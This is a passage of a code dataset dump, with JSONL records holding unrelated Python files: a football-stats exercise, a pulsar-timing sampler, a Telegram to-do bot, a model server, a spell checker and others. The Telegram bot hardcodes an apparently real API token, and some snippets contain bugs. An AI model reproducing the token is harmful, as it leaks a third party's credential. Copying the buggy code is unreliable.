print(\"finish\")\n","sub_path":"MLModel/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"262577104","text":"# Aprimorando dicionários, utilizando o codigo do 093\r\n\r\njogador = dict()\r\npartidas = list()\r\ntime = list()\r\n\r\nwhile True:\r\n jogador.clear()\r\n jogador['nome'] = str(input('Nome do jogador: '))\r\n total = int(input(f'Quantas partidas {jogador[\"nome\"]} jogou? '))\r\n partidas.clear()\r\n\r\n for c in range(0, total):\r\n partidas.append(int(input(f'Quantos gols na partida {c + 1}: ')))\r\n\r\n jogador['gols'] = partidas[:]\r\n jogador['total'] = sum(partidas)\r\n time.append(jogador.copy())\r\n\r\n while True:\r\n resposta = str(input('Deseja continuar? [S/N] ')).upper()[0]\r\n if resposta in 'SN':\r\n break\r\n print('ERRO! Responda apenas com S ou N.')\r\n if resposta == 'N':\r\n break\r\n\r\nprint('-' * 50)\r\nprint('cod', end='')\r\nfor i in jogador.keys():\r\n print(f'{i:<15}', end='')\r\nprint()\r\n\r\nprint('-' * 50)\r\nfor k, v in enumerate(time):\r\n print(f'{k:>3}', end='')\r\n for d in v.values():\r\n print(f'{str(d):<15}', end='')\r\n print()\r\nprint('-' * 50)\r\n\r\nwhile True:\r\n busca = int(input('Mostrar os dados de qual jogador? [999 para cancelar] '))\r\n if busca == 999:\r\n break\r\n if busca >= len(time):\r\n print(f'ERRO! NÃO CONTÉM JOGADOR COM O CÓDIGO INFORMADO {busca}!')\r\n else:\r\n print(f' -> LEVANTAMENTO DOS DADOS DO JOGADOR {time[busca[\"nome\"]]}: ')\r\n for i, g in enumerate(time[busca][\"gols\"]):\r\n print(f' -> No jogo {i+1} fez {g} gols')\r\n print('-'*50)\r\nprint('O PIOR TIME É O SEU! VOLTE SEMPRE PARA MAIS BUSCAS.')\r\n\r\n","sub_path":"ex095.py","file_name":"ex095.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"413944055","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport numpy as np\nimport sys, os, glob, json, pickle, copy\nfrom collections import OrderedDict\n\nimport libstempo as T2\nimport libstempo.toasim as LT\nimport libstempo.plot as LP\nfrom shutil import copyfile, copy2\n\nimport enterprise\nfrom enterprise.pulsar import Pulsar\nimport enterprise.signals.parameter as parameter\nfrom enterprise.signals import utils\nfrom enterprise.signals import signal_base\nfrom enterprise.signals import selections\nfrom enterprise.signals.selections import Selection\nfrom enterprise.signals import white_signals\nfrom enterprise.signals import gp_signals\nfrom enterprise.signals import deterministic_signals\nfrom enterprise import constants as const\n\nfrom PTMCMCSampler.PTMCMCSampler import PTSampler as ptmcmc\nfrom enterprise_extensions import models, model_utils, hypermodel, dropout\nfrom enterprise_extensions.frequentist import optimal_statistic as OS\n\n\nimport pta_sim\nimport pta_sim.parse_sim as parse_sim\nfrom pta_sim.sim_gw import Simulation, model_simple\nfrom pta_sim.bayes import chain_length_bool, save_core, get_freqs, filter_psr_path\nargs = parse_sim.arguments()\n\n#Is chain longer than niter?\nlonger = chain_length_bool(args.outdir, args.niter)\n\nif longer and os.path.exists(args.core_path):\n sys.end()\nelif longer:\n save_core(args.corepath, args.outdir)\n sys.end() #Hmmmm what to do here?\nelse:\n pass\n\nif args.pickle=='no_pickle':\n #Get par and tim files.\n parfiles = sorted(glob.glob(args.pardir+'*.par'))\n timfiles = sorted(glob.glob(args.timdir+'*.tim'))\n\n if args.psr_list is not None:\n parfiles = filter_psr_path(parfiles,args.psr_list,rhs='_')\n timfiles = filter_psr_path(timfiles,args.psr_list,rhs='_')\n\n psrs = []\n for p, t in zip(parfiles, timfiles):\n psr = Pulsar(p, t, ephem=args.ephem)\n psrs.append(psr)\n\nelse:\n with open('{0}'.format(args.pickle), \"rb\") as f:\n psrs = pickle.load(f)\n\n if args.psr_list is not None:\n idxs = []\n for idx, psr in enumerate(psrs):\n if psr.name not in args.psr_list:\n idxs.append(idx)\n\n for idx in reversed(idxs):\n del psrs[idx]\n\nwith open(args.noisepath, 'r') as fin:\n noise =json.load(fin)\n\nif args.tspan is None:\n Tspan = model_utils.get_tspan(psrs)\nelse:\n Tspan=args.tspan\n\nif args.wideband:\n inc_ecorr = False\nelse:\n inc_ecorr = True\n\n### Timing Model ###\ntm = gp_signals.TimingModel()\n### White Noise ###\nwn = models.white_noise_block(vary=False, inc_ecorr=inc_ecorr)\n\n### Red Noise ###\n# Code for red noise dropout\nif args.gwb_ul:\n prior = 'uniform'\nelse:\n prior = 'log-uniform'\n\nif args.dropout:\n if args.gwb_ul:\n log10_A = parameter.LinearExp(-20, -11)\n else:\n log10_A = parameter.Uniform(-20, -11)\n\n gamma = parameter.Uniform(0, 7)\n k_drop = parameter.Uniform(0, 1)\n if args.dp_thresh == 6.0:\n dp_thresh = parameter.Uniform(0,1)('k_threshold')\n else:\n dp_thresh = args.dp_thresh\n pl = dropout.dropout_powerlaw(log10_A=log10_A, gamma=gamma,\n k_drop=k_drop, k_threshold=dp_thresh)\n rn_plaw = gp_signals.FourierBasisGP(pl, components=30,\n Tspan=Tspan, name='red_noise')\n\nelse:\n rn_plaw = models.red_noise_block(psd='powerlaw', prior=prior,\n Tspan=Tspan, components=30,\n gamma_val=None)\n\n### GWB ###\ncrn = models.common_red_noise_block(psd='powerlaw', prior=prior,\n components=args.n_gwbfreqs,\n Tspan=Tspan, gamma_val=13/3., name='gw')\n\ngw = models.common_red_noise_block(psd='powerlaw', prior=prior,\n components=args.n_gwbfreqs, orf='hd',\n Tspan=Tspan, gamma_val=13/3., name='gw')\nbase_model = tm + wn\n\nif args.bayes_ephem:\n base_model += deterministic_signals.PhysicalEphemerisSignal(use_epoch_toas=True)\n\nif args.rn_psrs[0]=='all':\n rn_psrs='all'\nelse:\n rn_psrs=args.rn_psrs\n\nif rn_psrs=='all':\n model_2a = base_model + rn_plaw + crn\n model_3a = base_model + rn_plaw + gw\n model2a_psrs = [model_2a(p) for p in psrs]\n model3a_psrs = [model_3a(p) for p in psrs]\nelif isinstance(rn_psrs,list):\n model2a_psrs = []\n model3a_psrs = []\n model_2a_base = base_model + crn\n model_3a_base = base_model + gw\n model_2a = base_model + rn_plaw + crn\n model_3a = base_model + rn_plaw + gw\n for p in psrs:\n if p.name in rn_psrs:\n model2a_psrs.append(model_2a(p))\n model3a_psrs.append(model_3a(p))\n else:\n model2a_psrs.append(model_2a_base(p))\n model3a_psrs.append(model_3a_base(p))\n\npta_crn = signal_base.PTA(model2a_psrs)\npta_crn.set_default_params(noise)\n\npta_gw = signal_base.PTA(model3a_psrs)\npta_gw.set_default_params(noise)\n\nptas = {0:pta_crn,\n 1:pta_gw}\n\nif args.emp_distr is None:\n emp_dist = '/home/jeffrey.hazboun/nanograv/Data/pickles/ng11yr_v2_std_plaw_emp_dist.pkl'\nelse:\n emp_dist = args.emp_distr\n\nhm = hypermodel.HyperModel(models=ptas)\nsampler = hm.setup_sampler(outdir=args.outdir, resume=True,\n empirical_distr=emp_dist)\n\nachrom_freqs = get_freqs(ptas[0],signal_id='gw')\nnp.savetxt(args.outdir + 'achrom_rn_freqs.txt', achrom_freqs, fmt='%.18e')\n\n\nx0 = hm.initial_sample()\nk_drop_idxs = np.where(['k_drop' in p for p in hm.param_names])\nx0[k_drop_idxs] = 1.0\nprint('Initial Sample: ',x0)\nsampler.sample(x0, args.niter, SCAMweight=30, AMweight=15, DEweight=50, writeHotChains=args.writeHotChains,)\n\nsave_core(args.corepath, args.outdir)\n","sub_path":"pta_sim/scripts/model2avs3a_dropout.py","file_name":"model2avs3a_dropout.py","file_ext":"py","file_size_in_byte":5690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"603692444","text":"#!/usr/bin/env python3\n\nfrom sys import exit\n\ndef convert_bool( obj, _raise_err = ( False ) ):\n try:\n obj = ( bool( obj ) )\n except ValueError:\n if( _raise_err == ( True ) ):\n print( \"Cannot convert [\\\"{0}\\\"] to boolean\".format( str( obj ) ) )\n raise\n obj = ( False )\n return( obj )\n\ndef convert_int( obj, _raise_err = ( False ) ):\n try:\n obj = ( int( obj ) )\n except ValueError:\n if( _raise_err == ( True ) ):\n print( \"Cannot convert [\\\"{0}\\\"] to integer\".format( str( obj ) ) )\n raise\n obj = ( 0 )\n return( obj )\n\ndef convert_float( obj, _raise_err = ( False ) ):\n try:\n obj = ( float( obj ) )\n except ValueError:\n if( _raise_err == ( True ) ):\n print( \"Cannot convert [\\\"{0}\\\"] to floating point\".format( str( obj ) ) )\n raise\n obj = ( 0.0 )\n return( obj )\n\ndef convert_str( obj, _raise_err = ( False ) ):\n try:\n obj = ( str( obj ) )\n except ValueError:\n if( _raise_err == ( True ) ):\n print( \"Cannot convert [\\\"{0}\\\"] to string\".format( str( obj ) ) )\n raise\n obj = ( \"\" )\n return( obj )\n\ndef get_input( msg, _type ):\n obj = ( str( input( msg ) ).strip( ) )\n\n if( _type == ( int ) ):\n obj = ( convert_int( obj, _raise_err = ( False ) ) )\n elif( _type == ( float ) ):\n obj = ( convert_float( obj, _raise_err = ( False ) ) )\n elif( _type == ( str ) ):\n obj = ( convert_str( obj, _raise_err = ( False ) ) )\n elif( _type == ( bool ) ):\n obj = ( convert_bool( obj, _raise_err = ( False ) ) )\n else:\n obj = ( convert_str( obj, _raise_err = ( True ) ) )\n return( obj )\n\ndef main( ):\n counter = ( 1 )\n\n print( )\n\n num1 = ( get_input( \"Enter int x: \", int ) )\n num2 = ( get_input( \"Enter int y: \", int ) )\n\n print( )\n\n for x in range( 0, ( num1 + 1 ), 1 ):\n for y in range( 0, ( num2 + 1 ), 1 ):\n print( str( counter ) + \") \" + str( x ) + \" x \" \n + str( y ) + \" = \" + str( x * y ) )\n counter += ( 1 )\n print( )\n return( 0 )\n\nif( __name__ == ( \"__main__\" ) ):\n exit( main( ) )\n","sub_path":"TimesTables2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"32662750","text":"import json \nimport requests \nimport time \nimport datetime\nimport urllib \nfrom commands import check_commands\nfrom dbHelper import DBHelper\n\ndb = DBHelper()\nTOKEN = \"710760209:AAEdFY2udGjdIU7aAgbY6iRkbxx64doRFmM\"\nURL = \"https://api.telegram.org/bot{}/\".format(TOKEN)\n\n#downloads the content from a url and returns a string\ndef get_url(url):\n response = requests.get(url)\n #decode(\"utf8\") is added for extra compatibility for some python versions\n content = response.content.decode(\"utf8\")\n return content \n \n#gets string response from url and parse into json\ndef get_json_from_url(url):\n content = get_url(url)\n js = json.loads(content)\n return js\n \n#calls the API command and retrieve updates (messages sent to bot)\n#offset is for indicating which messages have been seen\ndef get_updates(offset=None):\n url = URL + \"getUpdates\"\n if offset:\n url += \"?offset={}\".format(offset)\n js = get_json_from_url(url)\n return js\n\ndef get_last_update_id(updates):\n update_ids = []\n for update in updates[\"result\"]:\n update_ids.append(int(update[\"update_id\"]))\n return max(update_ids) \n \n#takes the text and ID, calls sendMessage api to display chat made by bot\ndef send_message(text, chat_id, reply_markup=None): \n #urlLib helps encode special characters\n text = urllib.parse.quote_plus(text)\n url = URL + \"sendMessage?text={}&chat_id={}&parse_mode=Markdown\".format(text, chat_id)\n if reply_markup:\n url += \"&reply_markup={}\".format(reply_markup)\n get_url(url) \n\n#loop through each update and grab text and userID\ndef handle_updates(updates):\n for update in updates[\"result\"]:\n text = update[\"message\"][\"text\"]\n userId = update[\"message\"][\"chat\"][\"id\"] \n userName = update[\"message\"][\"chat\"][\"first_name\"] \n status = db.get_status(userId)\n today = datetime.datetime.now().strftime(\"%d-%m\")\n message = check_commands(text,userId,userName)\n send_message(message,userId) \n\ndef main(): \n db.setup()\n last_update_id = None \n while True: \n #check for new updates\n updates = get_updates(last_update_id)\n if len(updates[\"result\"]) > 0:\n last_update_id = get_last_update_id(updates) + 1\n handle_updates(updates)\n time.sleep(0.5)\n\n\nif __name__ == '__main__':\n main()","sub_path":"todo.py","file_name":"todo.py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"47434577","text":"import logging\nimport multiprocessing as mp\nimport signal\nimport subprocess\nimport traceback\nfrom multiprocessing.synchronize import Event\nfrom os.path import exists\nfrom pathlib import Path\nfrom shutil import rmtree\nfrom time import monotonic, sleep\nfrom typing import List, Optional, Type, Union\n\nimport pkg_resources\n\nfrom .args import ArgParser\nfrom .coordinator import STAGE_EGRESS, STAGE_INGRESS, Coordinator\nfrom .worker import Worker\n\nlogger = logging.getLogger(__name__)\n\n\nGUARD_CHECK_INTERVAL = 1\nNEW_PROCESS_METHOD = {\"spawn\", \"fork\"}\n\n\nclass Server:\n \"\"\"\n This public class defines the mosec server interface. It allows\n users to sequentially append workers they implemented, builds\n the workflow pipeline automatically and starts up the server.\n\n ###### Batching\n > The user may enable the batching feature for any stage when the\n corresponding worker is appended, by setting the `max_batch_size`.\n\n ###### Multiprocess\n > The user may spawn multiple processes for any stage when the\n corresponding worker is appended, by setting the `num`.\n \"\"\"\n\n def __init__(self):\n\n self._worker_cls: List[Type[Worker]] = []\n self._worker_num: List[int] = []\n self._worker_mbs: List[int] = []\n\n self._coordinator_ctx: List[str] = []\n self._coordinator_pools: List[List[Union[mp.Process, None]]] = []\n self._coordinator_shutdown: Event = mp.get_context(\"spawn\").Event()\n self._coordinator_shutdown_notify: Event = mp.get_context(\"spawn\").Event()\n\n self._controller_process: Optional[mp.Process] = None\n\n self._configs: dict = {}\n\n self._server_shutdown: bool = False\n signal.signal(signal.SIGTERM, self._terminate)\n signal.signal(signal.SIGINT, self._terminate)\n\n def _validate_server(self):\n assert len(self._worker_cls) > 0, (\n \"no worker registered\\n\"\n \"help: use `.append_worker(...)` to register at least one worker\"\n )\n\n @staticmethod\n def _validate_arguments(\n worker,\n num,\n max_batch_size,\n start_method,\n ):\n def validate_int_ge_1(number, name):\n assert isinstance(\n number, int\n ), f\"{name} must be integer but you give {type(number)}\"\n assert number >= 1, f\"{name} must be greater than 1\"\n\n assert issubclass(worker, Worker), \"worker must be inherited from mosec.Worker\"\n validate_int_ge_1(num, \"worker number\")\n validate_int_ge_1(max_batch_size, \"maximum batch size\")\n assert (\n start_method in NEW_PROCESS_METHOD\n ), f\"start method must be one of {NEW_PROCESS_METHOD}\"\n\n def _parse_args(self):\n self._configs = vars(ArgParser.parse())\n logger.info(f\"Mosec Server Configurations: {self._configs}\")\n\n def _controller_args(self):\n args = []\n for k, v in self._configs.items():\n args.extend([f\"--{k}\", str(v)])\n args.extend([\"--batches\"] + list(map(str, self._worker_mbs)))\n return args\n\n def _start_controller(self):\n \"\"\"Subprocess to start controller program\"\"\"\n if not self._server_shutdown:\n path = self._configs[\"path\"]\n if exists(path):\n logger.info(f\"path already exists, try to remove it: {path}\")\n rmtree(path)\n path = Path(pkg_resources.resource_filename(\"mosec\", \"bin\"), \"mosec\")\n self._controller_process = subprocess.Popen(\n [path] + self._controller_args()\n )\n\n def _terminate(self, signum, framestack):\n logger.info(f\"[{signum}] terminating server [{framestack}] ...\")\n self._server_shutdown = True\n\n @staticmethod\n def _clean_pools(\n processes: List[Union[mp.Process, None]],\n ) -> List[Union[mp.Process, None]]:\n for i, p in enumerate(processes):\n if p is None or p.exitcode is not None:\n processes[i] = None\n return processes\n\n def _manage_coordinators(self):\n first = True\n while not self._server_shutdown:\n for stage_id, (w_cls, w_num, w_mbs, c_ctx) in enumerate(\n zip(\n self._worker_cls,\n self._worker_num,\n self._worker_mbs,\n self._coordinator_ctx,\n )\n ):\n # for every sequential stage\n self._coordinator_pools[stage_id] = self._clean_pools(\n self._coordinator_pools[stage_id]\n )\n\n if all(self._coordinator_pools[stage_id]):\n # this stage is healthy\n continue\n\n if not first and not any(self._coordinator_pools[stage_id]):\n # this stage might contain bugs\n self._terminate(\n 1,\n f\"all workers at stage {stage_id} exited;\"\n \" please check for bugs or socket connection issues\",\n )\n break\n\n stage = \"\"\n if stage_id == 0:\n stage += STAGE_INGRESS\n if stage_id == len(self._worker_cls) - 1:\n stage += STAGE_EGRESS\n\n for worker_id in range(w_num):\n # for every worker in each stage\n if self._coordinator_pools[stage_id][worker_id] is not None:\n continue\n\n coordinator_process = mp.get_context(c_ctx).Process(\n target=Coordinator,\n args=(\n w_cls,\n w_mbs,\n stage,\n self._coordinator_shutdown,\n self._coordinator_shutdown_notify,\n self._configs[\"path\"],\n stage_id + 1,\n worker_id + 1,\n ),\n daemon=True,\n )\n coordinator_process.start()\n self._coordinator_pools[stage_id][worker_id] = coordinator_process\n first = False\n if self._controller_process:\n ctr_exitcode = self._controller_process.poll()\n if ctr_exitcode:\n self._terminate(\n ctr_exitcode,\n f\"mosec controller exited on error: {ctr_exitcode}\",\n )\n sleep(GUARD_CHECK_INTERVAL)\n\n def _halt(self):\n \"\"\"Graceful shutdown\"\"\"\n # notify coordinators for the shutdown\n self._coordinator_shutdown_notify.set()\n\n # terminate controller first and wait for a graceful period\n if self._controller_process:\n self._controller_process.terminate()\n graceful_period = monotonic() + self._configs[\"timeout\"] / 1000\n while monotonic() < graceful_period:\n ctr_exitcode = self._controller_process.poll()\n if ctr_exitcode is not None: # exited\n if ctr_exitcode: # on error\n logger.error(\n f\"mosec controller halted on error: {ctr_exitcode}\"\n )\n else:\n logger.info(\"mosec controller halted normally\")\n break\n sleep(0.1)\n\n # shutdown coordinators\n self._coordinator_shutdown.set()\n\n logger.info(\"mosec server exited. see you.\")\n\n def append_worker(\n self,\n worker: Type[Worker],\n num: int = 1,\n max_batch_size: int = 1,\n start_method: str = \"spawn\",\n ):\n \"\"\"\n This method sequentially appends workers to the workflow pipeline.\n\n Arguments:\n worker: the class you inherit from `Worker` which implements\n the `forward` method\n num: the number of processes for parallel computing (>=1)\n max_batch_size: the maximum batch size allowed (>=1)\n start_method: the process starting method (\"spawn\" or \"fork\")\n \"\"\"\n\n self._validate_arguments(worker, num, max_batch_size, start_method)\n self._worker_cls.append(worker)\n self._worker_num.append(num)\n self._worker_mbs.append(max_batch_size)\n self._coordinator_ctx.append(start_method)\n self._coordinator_pools.append([None] * num)\n\n def run(self):\n \"\"\"\n This method starts the mosec model server!\n \"\"\"\n self._validate_server()\n self._parse_args()\n self._start_controller()\n try:\n self._manage_coordinators()\n except Exception:\n logger.error(traceback.format_exc().replace(\"\\n\", \" \"))\n self._halt()\n","sub_path":"mosec/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":8898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"453409117","text":"import math\n\ndef _merge(left, right):\n # Append sentinel value to simplify comparisons\n left.append(math.inf)\n right.append(math.inf)\n\n merge = []\n for _ in range(len(left) + len(right) - 2):\n if left[0] <= right[0]:\n merge.append(left.pop(0))\n else:\n merge.append(right.pop(0))\n\n return merge\n\ndef merge_sort(elems):\n if len(elems) <= 1:\n return elems\n\n pivot = len(elems) // 2\n\n left = merge_sort(elems[:pivot])\n right = merge_sort(elems[pivot:])\n\n return _merge(left, right)\n","sub_path":"algorithms/sort/merge-sort/python/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"535603679","text":"import EditDistance\nfrom LanguageModel import LanguageModel\nimport argparse\nimport pickle\nimport spacy\nimport string\nfrom spacy.lang.en import English\nimport string\n\nclass SpellChecker():\n\n def __init__(self, max_distance, channel_model=None, language_model=None):\n ''' takes in EditDistanceFinder object as channel_model, \n LanguageModel object as language_model, and an int as max_distance\n to initialize the SpellChecker. '''\n self.nlp = spacy.load(\"en\", pipeline=[\"tagger\", \"parser\"])\n self.channel_model = channel_model\n self.language_model = language_model\n self.max_distance = max_distance\n\n def load_channel_model(self, fp):\n ''' Takes in a file pointer as input\n and should initialize the SpellChecker object’s \n channel_model data member to a default EditDistanceFinder \n and then load the stored language model (e.g. ed.pkl) \n from fp into that data member. '''\n self.channel_model = EditDistance.EditDistanceFinder()\n self.channel_model.load(fp)\n\n def load_language_model(self, fp):\n ''' Takes in a file pointer as input and should initialize the \n SpellChecker object’s language_model data member to a default \n LanguageModel and then load the stored language model (e.g. lm.pkl) \n from fp into that data member. ''' \n self.language_model = LanguageModel()\n self.language_model.load(fp)\n\n def bigram_score(self, prev_word, focus_word, next_word):\n ''' Take in 3 words and return average of bigram probability \n for both bigrams of the sequence. '''\n score1 = self.language_model.bigram_prob(prev_word, focus_word)\n score2 = self.language_model.bigram_prob(focus_word, next_word)\n return (score1 + score2)/2\n\n def cm_score(self, error_word, corrected_word):\n ''' Takes in a misspelled word and uses the EditDistanceFinder object\n we have as channel_model to get the probability that corrected_word\n was the intended word. '''\n prob = self.channel_model.prob(error_word, corrected_word)\n return prob\n\n def deletes(self, word):\n ''' Takes in a potentially misspelled word and checks for \n words in the language model vocabulary that are within one \n delete of word, i.e. 'hair' is within one delete of 'hairr'. '''\n potentialWords = []\n for index in range(0, len(word)):\n spliced = word[0:index] + word[index+1:]\n if self.language_model.__contains__(spliced):\n potentialWords.append(spliced)\n\n return potentialWords\n\n def substitutions(self, word):\n ''' Take in potentially misspelled word and find list of \n words from the language_model vocabulary which are within \n one substitution of word, i.e. 'heve' is within one substitution\n of 'have'. '''\n potentialWords = []\n length = len(word)\n for posWord in self.language_model.vocabulary:\n if all(c in string.ascii_lowercase for c in posWord):\n #we only want to examine words of the same length\n if len(posWord) == length:\n #counter for differences between words\n diffs = 0\n #loop through all the characters\n for char1, char2 in zip(word, posWord):\n #if the characters are different\n if char1 != char2:\n diffs += 1\n #if more than one difference, its not 1 substitution away!\n if diffs > 1:\n break\n #if within 1 substitution\n if diffs < 2:\n potentialWords.append(posWord)\n\n return potentialWords \n\n\n def generate_candidates(self, word):\n \n ''' Takes a word as input and returns a list of\n words that are within self.max_distance edits of word \n by calling inserts, deletes, and substitutions '''\n potentials = []\n potentials.extend(self.inserts(word))\n potentials.extend(self.deletes(word))\n potentials.extend(self.substitutions(word))\n n = 1\n\n temp = []\n\n while n < self.max_distance:\n for pot in potentials:\n temp.extend(self.inserts(pot)) # as we go, dedupe temp!\n temp.extend(list(filter(lambda x: x not in temp, self.deletes(pot))))\n temp.extend(list(filter(lambda x: x not in temp, self.substitutions(pot))))\n # make sure none of the things in temp are already in potentials!\n potentials.extend(list(filter(lambda x: x not in potentials, temp)))\n temp = []\n n += 1\n\n # transposition!\n for index in range(0, len(word)-1):\n swap = word[0:index] + word[index+1] + word[index] + word[index+2:]\n if swap in self.language_model.vocabulary:\n potentials.append(swap)\n return potentials\n\n\n def unigram_score(self, word):\n ''' Take a word as input and return the unigram probability of \n the word according to the LanguageModel '''\n return self.language_model.unigram_prob(word)\n \n def inserts(self, word):\n ''' Take a word as input and return a list of words (that are in \n the LanguageModel) that are within one insert of word.'''\n\n within_one_insert = []\n\n for intended_word in self.language_model.vocabulary:\n\n if all(c in string.ascii_lowercase for c in intended_word):\n # only consider intended words whose length is exactly 1 greater than word\n \n if len(word) + 1 == len(intended_word):\n\n distance, tuples = self.channel_model.align(word, intended_word)\n insert_count = 0\n doesnt_work = False\n\n for t in tuples:\n if insert_count > 1: # needing to insert more than once\n doesnt_work = True # means this intended word doesn't work\n break\n if t[0] != t[1] and t[0] != \"%\": # if we needed a substitution or deletion\n doesnt_work = True # then this intended word doesn't work\n break\n if t[0]==\"%\": # we're only allowed one insertion, so\n insert_count += 1 # need to keep track\n\n if not doesnt_work: # as long as intended word works,\n within_one_insert.append(intended_word) # add it to list\n\n return within_one_insert\n\n def check_sentence(self, sentence, fallback=False):\n ''' Takes in list of words and returns a list of lists\n such that each sublist in the returned lists corresponds\n to a single word in the input. For each word in input, \n if it's in the language model, its sublist in the output\n will just contain that word. Otherwise, its sublist will\n be a list of possible corrections sorted from most likely\n to least likely (combo of LangModel and EditDist scores) '''\n suggestions = [] \n sentence.insert(0, '')\n sentence.append('')\n for index in range(1, len(sentence)-1):\n word = sentence[index]\n if word in self.language_model.vocabulary:\n suggestions.append([word])\n else:\n corrections = self.generate_candidates(word)\n weighted = []\n for item in corrections:\n edprob = self.channel_model.prob(word, item)\n lmprob1 = self.unigram_score(item)\n lmprob2 = self.bigram_score(sentence[index-1], item, sentence[index+1])\n avg = (lmprob1+lmprob2)/2.0\n weighted.append(((edprob+avg), item))\n sortedCorrections = sorted(weighted, key=lambda x: x[0], reverse=True)\n corrections = [item[1] for item in sortedCorrections]\n if len(corrections) == 0 and fallback:\n suggestions.append([word])\n else:\n suggestions.append(corrections)\n return suggestions\n\n def check_text(self, text, fallback=False):\n ''' Takes in string as input, tokenizes and sentence\n segments it with spacy, then returns the concatenated\n result of calling check_sentence on all of the resulting\n sentence objects ''' \n nlp = English()\n nlp.add_pipe(nlp.create_pipe('sentencizer'))\n doc = nlp(text)\n sents = list(doc.sents)\n text = []\n for sent in sents:\n wordList = [t.text for t in sent]\n checked = self.check_sentence(wordList, fallback)\n text.extend(checked)\n return text\n\n def autocorrect_sentence(self, sentence):\n ''' Takes in a tokenized sentence as a list of\n words, calls check_sentence on that sentence, and\n returns list of tokens where each non-word has been\n replaced by its most likely spelling correction '''\n suggestions = self.check_sentence(sentence, fallback=True)\n return [sublist[0] for sublist in suggestions]\n\n def autocorrect_line(self, line):\n ''' Takes in string as input, tokenizes and sentence\n segments it with spacy, then returns the concatenated\n result of calling autocorrect_sentence on all of the \n resulting sentence objects ''' \n nlp = English()\n nlp.add_pipe(nlp.create_pipe('sentencizer'))\n doc = nlp(line)\n sents = list(doc.sents)\n punc = [s[-1] for s in sents] # save end of sentence punctuation\n sents = [s[:-1] for s in sents] # get rid of end of sentence punctuation \n text = []\n for i in range(len(sents)):\n if len(sents[i]) > 0:\n wordList = [t.text for t in sents[i]]\n wordList = [w.lower() for w in wordList] # get rid of capitalization\n wordList = [''.join(ch for ch in word if ch not in set(string.punctuation)) for word in wordList]\n wordList = list(filter(lambda x: x != \"\", wordList)) # get rid of things that only consisted of punc\n checked = self.autocorrect_sentence(wordList)\n checked[-1] += str(punc[i]) # replace punctuation at end\n checked[0] = checked[0][0].upper() + checked[0][1:] # capitalize first character \n text.extend(checked)\n return text\n\n def suggest_sentence(self, sentence, max_suggestions):\n ''' Takes in list of words as input, calls check_sentence on it,\n and returns a list where real words are just strings in the list\n and non-words are represented by lists of corrections limited to\n max_suggestions number of suggestions. '''\n corrections = self.check_sentence(sentence)\n limited = []\n for correct in corrections:\n if len(correct) == 1:\n limited.append(correct[0])\n else:\n limited.append(correct[:max_suggestions])\n\n return limited\n\n\n def suggest_text(self, text, max_suggestions):\n ''' Takes in a string as input, tokenizes and segments it with\n spacy, then returns the concatenation of the result of calling\n suggest_sentence on all of the resulting sentence objects '''\n nlp = English()\n nlp.add_pipe(nlp.create_pipe('sentencizer'))\n doc = nlp(text)\n sents = list(doc.sents)\n text = []\n for sent in sents:\n wordList = [t.text for t in sent]\n checked = self.suggest_sentence(wordList, max_suggestions)\n text.extend(checked)\n\n return text\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--ed\", type=argparse.FileType('rb'))\n parser.add_argument(\"--lm\", type=argparse.FileType('rb'))\n args = parser.parse_args()\n\n sp = SpellChecker(max_distance=1)\n sp.load_channel_model(args.ed)\n sp.load_language_model(args.lm)\n\n\n\n \n","sub_path":"SpellChecker.py","file_name":"SpellChecker.py","file_ext":"py","file_size_in_byte":12418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"67686796","text":"print(14 * \" >\", \"\\t n.B.a. \\t\", \"< \" * 14, \"\\n\\n\\n\")\n\nfrom kivy.app import App\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.floatlayout import FloatLayout\nfrom kivy.uix.button import Button\n\n\nclass Application(App):\n def build(self):\n self.window = FloatLayout() # Hepsinin birarada oldugu buyuk pencere\n\n self.login = BoxLayout() # herbir pencere icin boxlayout yapildi\n self.quit = BoxLayout()\n\n self.loginbox = Button(text=\"Log In\", size_hint=(.3, .1), pos_hint={'x': .3, 'y': .62}) # box boyut duzenleme\n self.quitbox = Button(text=\"Quit\", size_hint=(.3, .1), pos_hint={'x': .3, 'y': .5})\n\n self.window.add_widget(self.loginbox) # sirayla penceredeki konumunu cagiriyoruz\n self.window.add_widget(self.quitbox)\n\n return self.window\n\n\nif __name__ == \"__main__\":\n Application().run()\n\n\n","sub_path":"20.1.Login_quit_button.py","file_name":"20.1.Login_quit_button.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"157215118","text":"#!/usr/bin/env python3\n\n#### just plots a block of data on all antennas\n#### usefull for health checks\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom LoLIM.utilities import processed_data_dir, v_air\nfrom LoLIM.IO.raw_tbb_IO import MultiFile_Dal1, filePaths_by_stationName, read_station_delays, read_antenna_pol_flips, read_bad_antennas, read_antenna_delays\nfrom LoLIM.signal_processing import remove_saturation\nfrom LoLIM.findRFI import window_and_filter\nfrom matplotlib.transforms import blended_transform_factory\n\nfrom scipy.signal import hilbert\n\n##1\nfrom matplotlib.widgets import RadioButtons, Button\n\ntmp_guess_delays = {}\nstations_active = {}\ndefault_color = '0.85'\nstation_buttons = []\nstation_axes = []\nstCBs = []\nplots = []\n\nset_ref = False\nl = []\nm = []\nNplots = 5 #number of simultaneous 